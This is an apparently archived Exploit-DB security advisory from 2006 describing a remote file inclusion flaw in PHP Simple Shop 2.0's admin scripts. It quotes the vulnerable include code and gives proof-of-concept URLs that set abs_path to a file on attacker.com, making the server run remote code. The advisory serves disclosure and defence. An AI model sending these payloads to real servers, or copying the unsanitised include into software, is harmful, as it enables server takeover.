PHP Simple Shop 2.0 - 'abs_path' Remote File Inclusion

EDB-ID:

2119

Author:

Matdhule

Type:

webapps

Platform:

PHP

Published:

2006-08-07

\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_44$2006

------------------------------------------------------------------------------
[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: August, 07th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Simple Shop

Application	: PHP Simple Shop
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phpsimpleshop

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php
---------------------------index.php---------------------------------------
....
<?PHP
/*
  index.php - $DATE$ - $TIME$ - $VERSION$
  
  PHP Simple Shop
  http://www.turnkeywebtools.com/phpsimpleshop/
  
  Copyright (c) 2001-2005 Turnkey Web Tools, Inc.
*/

if (isset($abs_path) && $abs_path != "") {
    include $abs_path."admin/adminglobal.php";
} else {
    include "./adminglobal.php";
} 
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

adminindex.php
adminglobal.php
login.php
menu.php
header.php

Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~
- Sanitize variable $abs_path on affected files.

Notification:
~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
 
     matdhule[at]gmail[dot]com
     
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